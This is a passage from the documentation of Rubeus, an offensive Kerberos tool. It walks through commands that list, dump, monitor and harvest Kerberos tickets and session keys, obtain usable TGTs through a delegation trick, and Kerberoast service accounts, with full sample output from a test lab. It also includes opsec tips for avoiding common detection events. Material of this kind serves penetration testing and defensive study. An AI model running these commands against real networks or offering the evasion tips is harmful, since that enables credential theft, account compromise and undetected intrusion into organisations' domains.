
Command	Description
<a href="#">klist</a>	Detailed logon session and ticket info
<a href="#">dump</a>	Detailed logon session and ticket data
<a href="#">tgtdeleg</a>	Retrieve usable TGT for non-elevated user
<a href="#">monitor</a>	Monitor logon events and dump new tickets
<a href="#">harvest</a>	Same as monitor but with auto-renewal functionality

**Note:** [triage/klist/dump](#) give increasing amounts of ticket detail.

### triage

The **triage** action will output a table of the current user's Kerberos tickets, if not elevated. If run from an elevated context, a table describing all Kerberos tickets on the system is displayed. Ticket can be filtered for a specific service with `/service:SNAME`.

If elevated, tickets can be filtered for a specific LogonID with `/luid:0xA..` or a specific user with `/user:USER`. This can be useful when triaging systems with a lot of Kerberos tickets.

Triage all enumerateable tickets (non-elevated):

```
C:\Rubeus>Rubeus.exe triage

-----
(____ \      | |
  ____ ) _  _ | | _ _ _ _ _ _ _ _
|  _ /| | | | _ \ | _ _ | | | /_ _ )
| | \ \ | | | | ) _ _ | | | | _ _ |
|_|  | | _ _ /| _ _ /| _ _ ) _ _ /

v1.3.4

[*] Action: Triage Kerberos Tickets (Current User)

[*] Current LUID      : 0x4420e

-----
| LUID      | UserName                | Service                | EndTime                |
-----
| 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL  | 2/12/2019 4:04:14 PM |
| 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL  | 2/12/2019 4:04:14 PM |
-----
```

| 0x4420e | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 4:04:14 PM |

Triage all enumerateable tickets (elevated):

C:\Rubeus>Rubeus.exe triage

```

-----
(____ \    | |
-----) )_ _| |__ ----- - - ___
| _ _ /| | | | _ \| ___ | | | |/_ )
| | \ \ | | | | ) ___| | | |___ |
|_| | |___/|___/|___)___/(___/
    
```

v1.3.4

[\*] Action: Triage Kerberos Tickets (All Users)

LUID	UserName	Service	EndTime
0x56cdda9	harmj0y @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/12/2019 4:04:14 PM
0x56cdda9	harmj0y @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/12/2019 4:04:14 PM
0x56cdda9	harmj0y @ TESTLAB.LOCAL	cifs/primary.testlab.local	2/12/2019 4:04:14 PM
0x56cdd86	harmj0y @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/12/2019 4:04:02 PM
0x47869cc	harmj0y @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/12/2019 3:19:11 PM
0x47869cc	harmj0y @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/12/2019 3:19:11 PM
0x47869cc	harmj0y @ TESTLAB.LOCAL	cifs/primary.testlab.local	2/12/2019 3:19:11 PM
0x47869b4	harmj0y @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/12/2019 3:05:29 PM
0x3c4c241	dfm.a @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/11/2019 4:24:02 AM
0x441d8	dfm.a @ TESTLAB.LOCAL	cifs/primary.testlab.local	2/10/2019 11:41:26 PM
0x441d8	dfm.a @ TESTLAB.LOCAL	LDAP/primary.testlab.local	2/10/2019 11:41:26 PM
0x3e4	windows10\$ @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/12/2019 1:25:01 PM
0x3e4	windows10\$ @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/12/2019 1:25:01 PM
0x3e4	windows10\$ @ TESTLAB.LOCAL	cifs/PRIMARY.testlab.local	2/12/2019 1:25:01 PM
0x3e4	windows10\$ @ TESTLAB.LOCAL	ldap/primary.testlab.local/testlab.local	2/11/2019 7:23:48 PM
0x3e7	windows10\$ @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/12/2019 2:23:45 PM
0x3e7	windows10\$ @ TESTLAB.LOCAL	krbtgt/TESTLAB.LOCAL	2/12/2019 2:23:45 PM
0x3e7	windows10\$ @ TESTLAB.LOCAL	cifs/PRIMARY.testlab.local/testlab.local	2/12/2019 2:23:45 PM
0x3e7	windows10\$ @ TESTLAB.LOCAL	WINDOWS10\$	2/12/2019 2:23:45 PM
0x3e7	windows10\$ @ TESTLAB.LOCAL	LDAP/PRIMARY.testlab.local/testlab.local	2/12/2019 2:23:45 PM

Triage targeting a specific service (elevated):

```
C:\Rubeus>Rubeus.exe triage /service:ldap
```

```
-----
(____ \    | |
  ____ ) )_  | |__ -----
|  __ /| | | |  _ \| ___ | | | |/_ )
| | \ \ | | | | | )  ____| | | |__ |
|_|  | |____/|____/|____)____/(_/_/
```

v1.3.4

```
[*] Action: Triage Kerberos Tickets (All Users)
```

```
[*] Target service : ldap
```

```
-----
```

LUID	UserName	Service	EndTime
0x441d8	dfm.a @ TESTLAB.LOCAL	LDAP/primary.testlab.local	2/10/2019 11:41:26 PM
0x3e4	windows10\$ @ TESTLAB.LOCAL	ldap/primary.testlab.local/testlab.local	2/11/2019 7:23:48 PM
0x3e7	windows10\$ @ TESTLAB.LOCAL	LDAP/PRIMARY.testlab.local/testlab.local	2/12/2019 2:23:45 PM

```
-----
```

### klist

The **klist** will list detailed information on the current user's logon session and Kerberos tickets, if not elevated. If run from an elevated context, information on all logon sessions and associated Kerberos tickets is displayed. Logon and ticket information can be displayed for a specific LogonID with `/luid:0xA..` (if elevated).

Listing the current (non-elevated) user's logon session and Kerberos ticket information:

```
C:\Rubeus>Rubeus.exe klist
```

```
-----
(____ \    | |
  ____ ) )_  | |__ -----
|  __ /| | | |  _ \| ___ | | | |/_ )
| | \ \ | | | | | )  ____| | | |__ |
|_|  | |____/|____/|____)____/(_/_/
```

v1.3.4

[\*] Action: List Kerberos Tickets (Current User)

[\*] Current LUID : 0x4420e

[0] - 0x12 - aes256\_cts\_hmac\_sha1

Start/End/MaxRenew: 2/12/2019 11:04:14 AM ; 2/12/2019 4:04:14 PM ; 2/19/2019 11:04:14 AM

Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL

Client Name : harmj0y @ TESTLAB.LOCAL

Flags : name\_canonicalize, pre\_authent, renewable, forwarded, forwardable (60a10000)

...(snip)...

**Elevated** listing of another user's logon session/Kerberos ticket information:

C:\Rubeus>Rubeus.exe klist /luid:0x47869b4

```
-----
(----- \      | |
-----) )_  _| |__ ----- - - ---
|  _ / | | | | _ \ | ___ | | | | /___)
| | \ \ | | | | | )  ___| | | | ___ |
|_|  |_|____/|____/|____)____/(____/
```

v1.3.3

[\*] Action: List Kerberos Tickets (All Users)

[\*] Target LUID : 0x47869b4

UserName : harmj0y  
Domain : TESTLAB  
LogonId : 0x47869b4  
UserSID : S-1-5-21-883232822-274137685-4173207997-1111  
AuthenticationPackage : Kerberos  
LogonType : Interactive  
LogonTime : 2/11/2019 11:05:31 PM  
LogonServer : PRIMARY  
LogonServerDNSDomain : TESTLAB.LOCAL  
UserPrincipalName : harmj0y@testlab.local

[0] - 0x12 - aes256\_cts\_hmac\_sha1

Start/End/MaxRenew: 2/11/2019 3:05:31 PM ; 2/11/2019 8:05:31 PM ; 2/18/2019 3:05:31 PM

Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL

Client Name : harmj0y @ TESTLAB.LOCAL

```
Flags           : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)

...(snip)...
```

## dump

The **dump** action will extract current TGTs and service tickets if in an elevated context. If not elevated, service tickets for the current user are extracted. The resulting extracted tickets can be filtered by `/service` (use `/service:krbtgt` for TGTs) and/or logon ID (the `/luid:0xA..` parameter). The KRB-CRED files (.kirbis) are output as base64 blobs and can be reused with the `ptt` function, or Mimikatz's **kerberos::ptt** functionality.

**Note:** if run from a *non-elevated* context, the session keys for TGTs are not returned (by default) from the associated APIs, so only service tickets extracted will be usable. If you want to (somewhat) workaround this, use the **tgtdeleg** command.

Extracting the current user's usable service tickets:

```
C:\Rubeus>Rubeus.exe dump
```

```
-----
(____ \    | |
_____) )_  _| |__ ----- - - ___
| __ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ___| | | |___ |
|_|  | |____/|____/|____)____/(____/
```

```
v1.3.4
```

```
[*] Action: Dump Kerberos Ticket Data (Current User)
```

```
[*] Current LUID      : 0x4420e
```

```
[*] Returned 3 tickets
```

```
ServiceName       : krbtgt/TESTLAB.LOCAL
TargetName        : krbtgt/TESTLAB.LOCAL
ClientName        : harmj0y
DomainName        : TESTLAB.LOCAL
TargetDomainName  : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType    : rc4_hmac
Base64SessionKey  : AAAAAAAAAAAAAAAAAAAAAA==
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags       : name_canonicalize, pre_authent, renewable, forwarded, forwardable
```

```
StartTime      : 2/11/2019 3:19:15 PM
EndTime        : 2/11/2019 8:19:13 PM
RenewUntil     : 2/18/2019 3:19:13 PM
TimeSkew       : 0
EncodedTicketSize : 1306
Base64EncodedTicket :
```

```
doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)...
```

```
...(snip)...
```

```
[*] Enumerated 3 total tickets
[*] Extracted 3 total tickets
```

**Elevated** extraction of tickets from a specific logon session:

```
C:\Rubeus>Rubeus.exe dump /luid:0x47869cc
```

```
-----
(____ \    | |
_____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | | /____)
| | \ \ | | | | ) ) ____| | | | ____ |
|_|  | | |____/|____/|_____)____/____/
```

```
v1.3.3
```

```
[*] Action: Dump Kerberos Ticket Data (All Users)
```

```
[*] Target LUID: 0x47869cc
```

```
UserName      : harmj0y
Domain        : TESTLAB
LogonId       : 0x47869cc
UserSID       : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Negotiate
LogonType     : Interactive
LogonTime     : 2/11/2019 11:05:31 PM
LogonServer   : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : harmj0y@testlab.local
```

[\*] Enumerated 3 ticket(s):

```
ServiceName      : krbtgt/TESTLAB.LOCAL
TargetName       : krbtgt/TESTLAB.LOCAL
ClientName       : harmj0y
DomainName       : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType   : rc4_hmac
Base64SessionKey : u9D0CzuGKAZB6h/E/9XcFg==
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags      : name_canonicalize, pre_authent, renewable, forwarded, forwardable
StartTime        : 2/11/2019 3:21:53 PM
EndTime          : 2/11/2019 8:19:13 PM
RenewUntil       : 2/18/2019 3:19:13 PM
TimeSkew         : 0
EncodedTicketSize : 1306
Base64EncodedTicket :
```

doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)...

```
ServiceName      : krbtgt/TESTLAB.LOCAL
TargetName       : krbtgt/TESTLAB.LOCAL
ClientName       : harmj0y
DomainName       : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType   : aes256_cts_hmac_sha1
Base64SessionKey : tKcszT8rdYyxBxBHlkpmJ/SEsfON8mBMs4ZN/29Xv8A=
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags      : name_canonicalize, pre_authent, initial, renewable, forwardable
StartTime        : 2/11/2019 3:19:13 PM
EndTime          : 2/11/2019 8:19:13 PM
RenewUntil       : 2/18/2019 3:19:13 PM
TimeSkew         : 0
EncodedTicketSize : 1338
Base64EncodedTicket :
```

doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)...

...(snip)...

[\*] Enumerated 3 total tickets

[\*] Extracted 3 total tickets

**Elevated** extraction of all TGTs on a system:

```
C:\Rubeus>Rubeus.exe dump /service:krbtgt
```

```
-----
(____ \    | |
_____) )_  | |__ -----
|  __ /| | | | _ \| ___ | | | |/_ )
| | \ \ | | | | | ) ___| | | |__ |
|_|  | |____/|____/|____)____/(____/
```

v1.3.3

[\*] Action: Dump Kerberos Ticket Data (All Users)

[\*] Target service : krbtgt

```

UserName       : harmj0y
Domain         : TESTLAB
LogonId        : 0x47869cc
UserSID        : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Negotiate
LogonType      : Interactive
LogonTime      : 2/11/2019 11:05:31 PM
LogonServer    : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : harmj0y@testlab.local

```

[\*] Enumerated 3 ticket(s):

```

ServiceName      : krbtgt/TESTLAB.LOCAL
TargetName       : krbtgt/TESTLAB.LOCAL
ClientName       : harmj0y
DomainName       : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType   : rc4_hmac
Base64SessionKey : y4LL+W3KZo0jnswif150g==
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags      : name_canonicalize, pre_authent, renewable, forwarded, forwardable
StartTime        : 2/11/2019 3:23:50 PM
EndTime          : 2/11/2019 8:19:13 PM
RenewUntil       : 2/18/2019 3:19:13 PM
TimeSkew         : 0
EncodedTicketSize : 1306

```

```
Base64EncodedTicket      :  
  
doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)...  
  
...(snip)...
```

```
UserName      : WINDOWS10$  
Domain        : TESTLAB  
LogonId       : 0x3e4  
UserSID       : S-1-5-20  
AuthenticationPackage : Negotiate  
LogonType     : Service  
LogonTime     : 2/7/2019 4:51:20 PM  
LogonServer   :  
LogonServerDNSDomain : testlab.local  
UserPrincipalName : WINDOWS10$@testlab.local
```

[\*] Enumerated 4 ticket(s):

```
ServiceName      : krbtgt/TESTLAB.LOCAL  
TargetName       : krbtgt/TESTLAB.LOCAL  
ClientName       : WINDOWS10$  
DomainName       : TESTLAB.LOCAL  
TargetDomainName : TESTLAB.LOCAL  
AltTargetDomainName : TESTLAB.LOCAL  
SessionKeyType   : rc4_hmac  
Base64SessionKey : 0NgsSyZ/XOCTi9wLR1z9Kg==  
KeyExpirationTime : 12/31/1600 4:00:00 PM  
TicketFlags      : name_canonicalize, pre_authent, renewable, forwarded, forwardable  
StartTime        : 2/11/2019 3:23:50 PM  
EndTime         : 2/11/2019 7:23:48 PM  
RenewUntil      : 2/18/2019 2:23:48 PM  
TimeSkew        : 0  
EncodedTicketSize : 1304  
Base64EncodedTicket :
```

```
doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)...  
  
...(snip)...
```

[\*] Enumerated 20 total tickets

[\*] Extracted 9 total tickets

**tgtdeleg**

The **tgtdeleg** using [@gentilkiwi's Kekeo](#) trick (**tgt::deleg**) that abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. `AcquireCredentialsHandle()` is used to get a handle to the current user's Kerberos security credentials, and `InitializeSecurityContext()` with the `ISC_REQ_DELEGATE` flag and a target SPN of `HOST/DC.domain.com` to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a `KRB_CRED` in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the `KRB_CRED` in the authenticator, resulting in a usable TGT `.kirbi`.

If automatic target/domain extraction is failing, a known SPN of a service configured with unconstrained delegation can be specified with `/target:SPN`.

```
C:\Rubeus>Rubeus.exe tgtdeleg

-----
(____ \    | |
_____) )_  | | ____ - - ___
| __ /| | | | _ \| __ | | | /___)
| | \ \ | | | | ) ____ | | | ___ |
|_|  | |____/|____/|____)____/(___/

v1.3.3

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'HOST/PRIMARY.testlab.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: YnEFxPfqw3LdfNvLtdFfzaFf7zG3hG+HNjesy+6R+ys-
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)...
```

## monitor

The **monitor** action will periodically extract all TGTs every `/monitorinterval:X` seconds (default of 60) and display any newly captured TGTs. A `/targetuser:USER` can be specified, returning only ticket data for said user. This function is especially useful on servers with unconstrained delegation enabled ;)

When the `/targetuser:USER` (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output.

The `/nowrap` flag causes the base64 encoded ticket output to no wrap per line.

If you want **monitor** to run for a specific period of time, use `/runfor:SECONDS` .

Further, if you wish to save the output to the registry, pass the `/registry` flag and specify a path under HKLM to create (e.g., `/registry:SOFTWARE\MONITOR` ). Then you can remove this entry after you've finished running Rubeus by `Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force` .

```
c:\Rubeus>Rubeus.exe monitor /targetuser:DC$ /interval:10
```

```

-----
(____ \    | |
-----) )_  _| |__ ----- - - ___
| __ /| | | | _ \| ___ | | | |/_
| | \ \ | | | |_) ) ___| | | |___ |
|_|  | |____/|____/|____)____/(____/

```

```
v1.5.0
```

```
[*] Action: TGT Monitoring
```

```
[*] Target user      : DC$
```

```
[*] Monitoring every 10 seconds for new TGTs
```

```
[*] 12/21/2019 11:10:16 PM UTC - Found new TGT:
```

```

User           : DC$@THESHIRE.LOCAL
StartTime      : 12/21/2019 2:44:31 PM
EndTime        : 12/21/2019 3:44:31 PM
RenewTill      : 12/28/2019 2:13:06 PM
Flags          : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :

```

```
doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)...
```

```
[*] Ticket cache size: 1
```

**Note that this action needs to be run from an elevated context!**

## harvest

The **harvest** action takes `monitor` one step further. It periodically extract all TGTs every `/monitorinterval:X` seconds (default of 60), extracts any new TGT KRB-CRED files, and keeps a cache of any extracted TGTs. Every interval, any TGTs that will expire before the next interval are automatically renewed (up until their renewal limit). Every `/displayinterval:X` seconds (default of 1200) and the current cache of "usable"/valid TGT KRB-CRED .kirbis are output as base64 blobs.

This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets.

The `/nowrap` flag causes the base64 encoded ticket output to no wrap per line.

If you want **harvest** to run for a specific period of time, use `/runfor:SECONDS`.

Further, if you wish to save the output to the registry, pass the `/registry` flag and specify a path under HKLM to create (e.g., `/registry:SOFTWARE\MONITOR`). Then you can remove this entry after you've finished running Rubeus by `Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force`.

```
c:\Rubeus>Rubeus.exe harvest /interval:30

-----
(____ \    | |
_____) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | /____)
| | \ \ | | | |_) ) ____| | | |____ |
|_|  | |____/|____/|____)____/____/

v0.0.1a

[*] Action: TGT Harvesting (w/ auto-renewal)

[*] Monitoring every 30 minutes for 4624 logon events

...(snip)...

[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes

[*] 9/17/2018 6:43:02 AM - Current usable TGTs:

User           : dfm.a@TESTLAB.LOCAL
StartTime      : 9/17/2018 6:43:02 AM
EndTime       : 9/17/2018 11:43:02 AM
RenewTill     : 9/24/2018 2:07:48 AM
Flags          : name_canonicalize, renewable, forwarded, forwardable
Base64EncodedTicket :

doIFujCCBbagAw...(snip)...
```

**Note that this action needs to be run from an elevated context!**

## Roasting

Breakdown of the roasting commands:

Command	Description
<a href="#">kerberoast</a>	Perform Kerberoasting against all (or specified) users
<a href="#">asreproast</a>	Perform AS-REP roasting against all (or specified) users

### kerberoast

The **kerberoast** action replaces the [SharpRoast](#) project's functionality. Like SharpRoast, this action uses the [KerberosRequestorSecurityToken.GetRequest Method\(\)](#) method that was contributed to PowerView by [@machosec](#) in order to request the proper service ticket (for default behavior, [opsec table](#) for more detail). Unlike SharpRoast, this action now performs proper ASN.1 parsing of the result structures.

With no other arguments, all user accounts with SPNs set in the current domain are Kerberoasted, *requesting their highest supported encryption type* (see the [opsec table](#)). The `/spn:X` argument roasts just the specified SPN, the `/user:X` argument roasts just the specified user, and the `/ou:X` argument roasts just users in the specific OU. The `/domain` and `/dc` arguments are optional, pulling system defaults as other actions do.

The `/stats` flag will output statistics about kerberoastable users found, including a breakdown of supported encryption types and years user passwords were last set. This flag can be combined with other targeting options.

The `/outfile:FILE` argument outputs roasted hashes to the specified file, one per line.

If the `/simple` flag is specified, roasted hashes will be output to the console, one per line.

If the `/nowrap` flag is specified, Kerberoast results will not be line-wrapped.

If the the TGT `/ticket:X` supplied (base64 encoding of a .kirbi file or the path to a .kirbi file on disk) that TGT is used to request the service service tickets during roasting. If `/ticket:X` is used with `/spn:Y` or `/spns:Y` (`/spns:` can be a file containing each SPN on a new line or a comma separated list) then no LDAP searching happens for users, so it can be done from a non-domain joined system in conjunction with `/dc:Z`.

If the `/tgtdeleg` flag is supplied, the [tgtdeleg](#) trick it used to get a usable TGT for the current user, which is then used for the roasting requests. If this flag is used, accounts with AES enabled in **msDS-SupportedEncryptionTypes** will have RC4 tickets requested.

If the `/aes` flag is supplied, accounts with AES encryption enabled in **msDS-SupportedEncryptionTypes** are enumerated and AES service tickets are requested.

If the `/ldapfilter:X` argument is supplied, the supplied LDAP filter will be added to the final LDAP query used to find Kerberoastable users.

If the `/rc4opsec` flag is specified, the **tgtdeleg** trick is used, and accounts **without** AES enabled are enumerated and roasted.

If you want to use alternate domain credentials for Kerberoasting (and searching for users to Kerberoast), they can be specified with `/creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD`.

If the `/pwdsetafter:MM-dd-yyyy` argument is supplied, only accounts whose password was last changed after MM-dd-yyyy will be enumerated and roasted.

If the `/pwdsetbefore:MM-dd-yyyy` argument is supplied, only accounts whose password was last changed before MM-dd-yyyy will be enumerated and roasted.

If the `/resultlimit:NUMBER` argument is specified, the number of accounts that will be enumerated and roasted is limited to NUMBER.

If the `/delay:MILLISECONDS` argument is specified, that number of milliseconds is paused between TGS requests. The `/jitter:1-100` flag can be combined for a % jitter.

If the `/enterprise` flag is used, the spn is assumed to be an enterprise principal (i.e. [user@domain.com](mailto:user@domain.com)). This flag only works when kerberoasting with a TGT.

If the `/autoenterprise` flag is used, if roasting an SPN fails (due to an invalid or duplicate SPN) Rubeus will automatically retry using the enterprise principal. This is only useful when `/spn` or `/spns` is *not* supplied as Rubeus needs to know the target accounts samaccountname, which it gets when querying LDAP for the account information.

If the `/ldaps` flag is used, any LDAP queries will go over TLS (port 636).

If the `/nopreauth:USER` argument is used, either the `/spn:Y` or `/spns:Y` argument is required. The `/nopreauth:USER` argument will attempt to send AS-REQ's with the service being those passed in `/spn:Y` or `/spns:Y` to request service tickets.

## kerberoasting opsec

Here is a table comparing the behavior of various flags from an opsec perspective:

Arguments	Description
<code>none</code>	Use KerberosRequestorSecurityToken roasting method, roast w/ highest supported encryption
<code>/tgtdeleg</code>	Use the <b>tgtdeleg</b> trick to perform TGS-REQ requests of RC4-enabled accounts, roast all accounts w/ RC4 specified
<code>/ticket:X</code>	Use the supplied TGT blob/file for TGS-REQ requests, roast all accounts w/ RC4 specified

Arguments	Description
<b>/rc4opsec</b>	Use the <b>tgtdeleg</b> trick, enumerate accounts <i>without</i> AES enabled, roast w/ RC4 specified
<b>/aes</b>	Enumerate accounts with AES enabled, use KerberosRequestorSecurityToken roasting method, roast w/ highest supported encryption
<b>/aes/tgtdeleg</b>	Use the <b>tgtdeleg</b> trick, enumerate accounts with AES enabled, roast w/ AES specified
<b>/pwdsetafter:X</b>	Use the supplied date and only enumerate accounts with password last changed after that date
<b>/pwdsetbefore:X</b>	Use the supplied date and only enumerate accounts with password last changed before that date
<b>/resultlimit:X</b>	Use the specified number to limit the accounts that will be roasted
<b>/nopreauth:USER</b>	Will send AS-REQ's rather than TGS-REQ's which results in 4768 events instead of the 4769 frequently monitored for kerberoasting detections

### Examples

Kerberoasting all users in the current domain using the default `KerberosRequestorSecurityToken.GetRequest` method:

```
C:\Rubeus>Rubeus.exe kerberoast

-----
(----- \      | |
-----) )_  _| |__ ----- -  -  -
|  _  /| | | |  _ \| ___ | | | |/_---)
| | \ \ | | | | | )  ___| | | |__ |
|_|  | |_____|_____|_____)____/(____/

v1.3.4

[*] Action: Kerberoasting

[*] SamAccountName      : harmj0y
[*] DistinguishedName  : CN=harmj0y,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName : asdf/asdfasdf
[*] Hash                : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$AE5F019D4CDED6CD74830CC...(snip)...
```

```
[*] SamAccountName      : sqlservice
[*] DistinguishedName   : CN=SQL,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName : MSSQLSvc/SQL.testlab.local
[*] Hash                 : $krb5tgs$23*$testlab.local$MSSQLSvc/SQL.testlab.local*$E2B3869290...(snip)...

...(snip)...
```

Kerberoasting all users in a specific OU, saving the hashes to an output file:

```
C:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local /outfile:C:\Temp\hashes.txt
```

```
-----
(____ \    | |
-----) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | |/_ )
| | \ \ | | | | ) ___| | | |___ |
|_|  | |___/|___/|___)___/(___/
```

v1.3.4

```
[*] Action: Kerberoasting
```

```
[*] Target OU           : OU=TestingOU,DC=testlab,DC=local
```

```
[*] SamAccountName      : testuser2
```

```
[*] DistinguishedName   : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
```

```
[*] ServicePrincipalName : service/host
```

```
[*] Hash written to C:\Temp\hashes.txt
```

```
[*] Roasted hashes written to : C:\Temp\hashes.txt
```

Perform Kerberoasting using the `tgtdeleg` trick to get a usable TGT, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 3 service tickets:

```
C:\Rubeus>Rubeus.exe kerberoast /tgtdeleg /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:3
```

```
-----
(____ \    | |
-----) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | |/_ )
| | \ \ | | | | ) ___| | | |___ |
|_|  | |___/|___/|___)___/(___/
```

v1.5.0

[\*] Action: Kerberoasting

[\*] Using 'tgtdeleg' to request a TGT for the current user

[\*] RC4\_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else

[\*] Searching the current domain for Kerberoastable users

[\*] Searching for accounts with lastpwdset from 01-31-2005 to 03-29-2010

[\*] Up to 3 result(s) will be returned

[\*] Total kerberoastable users : 3

```

[*] SamAccountName      : harmj0y
[*] DistinguishedName   : CN=harmj0y,OU=TestOU,DC=theshire,DC=local
[*] ServicePrincipalName : testspn/server
[*] PwdLastSet           : 5/31/2008 12:00:02 AM
[*] Supported ETypes    : AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96
[*] Hash                 : $krb5tgs$23$harmj0y$theshire.local$testspn/server*$F6EEFE5026CF8F02E3DC...(snip)..

```

```

[*] SamAccountName      : constraineduser
[*] DistinguishedName   : CN=constraineduser,CN=Users,DC=theshire,DC=local
[*] ServicePrincipalName : blah/blah123
[*] PwdLastSet           : 9/5/2009 7:48:50 PM
[*] Supported ETypes    : RC4_HMAC
[*] Hash                 : $krb5tgs$23$constraineduser$theshire.local$blah/blah123*$6F0992C377AA12...(snip)..

```

```

[*] SamAccountName      : newuser
[*] DistinguishedName   : CN=newuser,CN=Users,DC=theshire,DC=local
[*] ServicePrincipalName : blah/blah123456
[*] PwdLastSet           : 9/12/2008 8:05:16 PM
[*] Supported ETypes    : RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96
[*] Hash                 : $krb5tgs$23$newuser$theshire.local$blah/blah123456*$C4561559C2A7DF07712...(snip)..

```

List statistics about found Kerberoastable accounts without actually sending ticket requests:

C:\Rubeus>Rubeus.exe kerberoast /stats

```

-----
(____ \   | |
-----) )_  | |__ -----
| __ /| | | | _ \ |__ | | | | /____)
| | \ \ | | | | |_) ) ____ | | | ____ |
|_|  | | |____/ |____/ |____)____/ (____/

```

v1.5.0

[\*] Action: Kerberoasting

[\*] Listing statistics about target users, no ticket requests being performed.

[\*] Searching the current domain for Kerberoastable users

[\*] Total kerberoastable users : 4

```
-----
```

Supported Encryption Type	Count
RC4_HMAC_DEFAULT	1
RC4_HMAC	1
AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96	1
RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96	1

```
-----
```

```
-----
```

Password Last Set Year	Count
2019	4

```
-----
```

Kerberoasting a specific user, with simplified hash output:

C:\Rubeus>Rubeus.exe kerberoast /user:harmj0y /simple

```
-----
(____ \    | |
____) )_  _| |__ -----
| __ /| | | | _ \| __ | | | /____)
| | \ \ | | | |_) ) ____| | | |____ |
|_| | |____/|____/|____)____/____/
```

v1.5.0

[\*] Action: Kerberoasting

[\*] NOTICE: AES hashes will be returned for AES-enabled accounts.

[\*] Use /ticket:X or /tgtdeleg to force RC4\_HMAC for these accounts.

[\*] Target User : harmj0y

```
[*] Searching the current domain for Kerberoastable users

[*] Total kerberoastable users : 1

$krb5tgs$18$*harmj0y$theshire.local$testspn/server*$F63783C58AA153F24DFCC796A120C55C$06C6929374A2D3...(snip)...
```

Kerberoasting all users in a foreign *trusting* domain, not line-wrapping the results:

```
C:\Rubeus>Rubeus.exe kerberoast /domain:dev.testlab.local /nowrap

-----
(____ \    | |
_____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | /____)
| | \ \ | | | | ) ____| | | |___ |
|_|  | |____/|____/|_____)____/(____/

v1.5.0

